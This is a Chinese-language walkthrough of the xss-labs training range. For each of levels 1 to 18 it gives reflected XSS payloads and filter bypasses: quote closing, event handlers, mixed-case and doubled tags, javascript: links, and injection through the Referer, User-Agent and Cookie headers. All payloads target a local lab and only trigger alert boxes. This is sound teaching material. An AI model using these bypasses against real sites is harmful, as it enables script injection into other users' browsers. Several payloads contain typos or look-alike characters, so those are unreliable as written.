1、level-1
1、输入,发现会将我们输入的内容显示:
2、若未做任何过滤就进行输出,那我们就可以嵌入js代码,执行js脚本:
输入:<script>alert('111')</script>
<script></script>:是声明里面是js脚本
alert:触发弹框
过关
3、代码:
2、level-2
1、同样我们输入<script>alert('111')</script>试试,发现没成功,我们右键看看源码:
所以我们利用就是下面,但是要进行双引号闭合
2、给出payload:
"><script>alert('111')</script><"
这样还是将js代码嵌入html中:
过关
3、代码分析:
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
3、level-3(绕过实体化)
1、输入: <script>alert('111')</script>试试:
发现两处都做了特殊字符转实体,所以我们要绕过这个
2、 我们可以用事件onfocus:
onfocus: onfocus 事件在对象获得焦点时发生。 Onfocus 通常用于 <input>, <select>, 和<a>.(即我们选中这个标签时,就会触发该事件)
这里是嵌入在指定标签中的,此处我们要进行单引号闭合(刚好单引号转为实体也为') ,所以我们的payload为:
' onfoucs=alert('aaa') '
再点击一下输入框:
过关
3、代码:
4、level-4
1、输入<script>alert('111')</script>:
2、根据以上特性我们还可以用上面的方法绕过,但这里是双引号闭合:
" οnfοcus=alert(111) "
过关
3、代码:
5、level-5
1、代码分析:
2、我们输入:
">aaaaaaaa
发现可以闭合前面的标签,那我们可以直接嵌入自己的标签
3、输入
"> <a href="javascript:alert('xss');">xss</a>
我们点击a标签的链接就会触发js代码
点击链接:
过关
6、level-6(大小写绕过)
1、这里关过滤了很多:
但是这里我们可以通过大小写来绕过
2、payload:
"><ScRipt>alert(111)</Script>
过关
7、level-7(双写绕过)
1、输入<script>alert('111')</script>:
2、所以我们可以利用双写绕过:
"><scscriptript>alert('111')</scrscriptipt>
过关
3、代码:
8、level-8(利用a标签的href会进行自动的unicode解码)
1、代码分析:
这里过滤了很多,并且由于过滤了双引号所以也不能进行闭合;
2、这里有个知识点,即a标签的href会进行自动的unicode解码,所以我们可硬通过这个进行绕过:在线Unicode编码解码 - 码工具 (matools.com)
javascript:alert()
javascript:alert()
输入之后点击链接:
9、level-9(标签内的注释)
1、分析代码:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。未找到范围false
2、所以只要我们输入的链接存在http://即可,但是得把他注释掉:
javascript:alert()/* http:// */
或者用<!-- -->注释:
javascript:alert()<!--http://-->
10、level-10
1、测试过滤了啥:
<>"'script onclick
发现将"<"、">"和双引号进行了实体化
2、看源码发现有隐藏标签:
我们可以测试哪个标签可以被更改为不隐藏:
aa" onfocus=alert(111) type="text">
发现第三个可以修改
3、 点击那个框:
4、代码分析:
11、level-11
1、同样测试一下:
<>"'script onclick
同样实体化了"<"、">"和双引号
2、看源码,发现也存在隐藏标签:
同样参数t_sort可以输入内容,但是也进行了实体化处理;
我们看到t_ref这里是referer所以我们可以通过修改referer进行触发xss漏洞
3、改包:
将数据包放包到页面上:
4、代码分析:
12、level-12
1、本关也是隐藏标签:
可以看到将UA拼接上去了,所以我们可以修改UA进行触发xss
2、 测试:
加入payload:
: " οnfοcus=alert(111) type="text">//
也是修改数据包之后放包即可:
13、level-13
1、本关也是隐藏标签:
我们抓包:
所以Cookie可以控制第四个参数的值,
2、所以,我们抓包修改Cookie:
放包点击即可触发xss:
14、level-14(ng-include)
网站打不开
15、level-15
1、本关主要考点是ng-include:
注意:1、地址外面得加单引号括起来
2、不执行script里面的代码
2、所以我们可以包含一下第一关的文件:
http://192.168.80.128/xss-labs/level15.php?src='./level1.php'
3、由于不执行script里面的代码,所以我们可以用其他方法来触发level1.php中的xss漏洞:
http://192.168.80.128/xss-labs/level15.php?src='./level1.php?name=<img src="x" οnerrοr=alert(1)>'
16、level-16(空格过滤)
1、本题源码:
将黑名单里面的转为实体化的空格
2、所以我们要绕过空格,并且由于"/"被过滤,那么我们必须选择一个不需要闭合的标签,我们可以通过回车符来绕过空格过滤:
<img%0asrc="x"%0aοnerrοr=alert(1)>
其实空格过滤也可采用"/"来绕过:
<img/src="x"/οnerrοr=alert("xss");>
但是,此处"/"也被过滤了
17、level-17
1、本关发现是利用embed标签:
可以看到是嵌入文件的标签
2、我们看html代码:
发现是想引入swf文件,并传入参数
注:我们用谷歌访问:
3、所以我们可以嵌入onmousedown事件来触发xss
http://192.168.80.128/xss-labs/level17.php?arg01=a&arg02=b%20οnmοusedοwn=%27alert(1)%27
点击中间:
18、level-18
同level-17